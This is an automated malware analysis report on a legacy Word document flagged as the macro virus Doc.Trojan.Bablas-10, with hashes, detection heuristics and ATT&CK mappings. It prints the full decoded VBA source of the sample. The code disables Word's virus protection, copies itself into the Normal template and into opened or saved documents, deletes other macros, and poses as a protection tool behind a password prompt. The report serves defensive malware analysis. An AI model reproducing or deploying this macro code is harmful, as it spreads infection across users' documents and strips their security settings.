Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2849d120f11a205e…

MALICIOUS

Office (OLE)

42.5 KB Created: 2001-07-02 14:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 69ed3b3f7ba84420bc99303b7329749d SHA-1: 1afa6a3f9f553984a404038fa7638fae06e2a6b7 SHA-256: 2849d120f11a205ef551b367876c99c4052435d53a8c012eca98f5c2f9c5f3e1
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Bablas-10. It contains VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing a document. The script attempts to disable virus protection and prompts for a password to edit the macro code, suggesting an intent to conceal its malicious activities and potentially download or execute additional payloads.

Heuristics 5

  • ClamAV: Doc.Trojan.Bablas-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3954 bytes
SHA-256: b07bb9bfcebb23933afcaa80845d75d553ae621f72dc22a8fecf409bdbdcad1f
Detection
ClamAV: Doc.Trojan.Bablas-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AvMacro"
Public Passwrd As Boolean

Sub PassAway()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ViewVbCode()
    OpenMyMacro
End Sub

Sub FileTemplates()
    OpenMyMacro
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    On Error Resume Next
    Dialogs(wdDialogToolsOptions).Show
    PassAway
End Sub

Sub OpenMyMacro()
    Msg = "A simple program to protect your" & Chr(13)
    Msg = Msg & "documents from destroying macro viruses" & Chr(13) & Chr(13)
    Msg = Msg & " If you want to edit this program source" & Chr(13)
    Msg = Msg & "call or contact LabCom FT UNS (Mr. Widi)" & Chr(13) & Chr(13) & Chr(13)
    Msg = Msg & "Enter password to edit this program"
    
    If InputBox(Msg, "Av Macro") = "widi h" Then
       Application.ShowVisualBasicEditor = True
    End If
End Sub

Sub SaveDocument()
    Dim DocOk As Boolean
    DocOk = False
    On Error Resume Next
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "AvMacro" Then DocOk = True
        If Obj.Name <> "AvMacro" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="AvMacro", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SaveTemplate()
    Dim NorOk As Boolean
    NorOk = False
    On Error Resume Next
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "AvMacro" Then NorOk = True
        If Obj.Name <> "AvMacro" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="AvMacro", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    Application.Quit
End Sub

Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SaveDocument
        ActiveDocument.Save
    End If
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    PassAway
    SaveTemplate
    On Error Resume Next
    NormalTemplate.Save
End Sub

Sub AutoClose()
    SaveDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SaveDocument
        SaveTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub KillMacro()
    C = Documents.Count
    If C <> 0 Then
        Normal.AvMacro.SaveDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.AvMacro.KillMacro"
    End If
End Sub

Sub AutoExec()
    Passwrd = False
    WordBasic.DisableAutoMacros True
    PassAway
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.AvMacro.KillMacro"
End Sub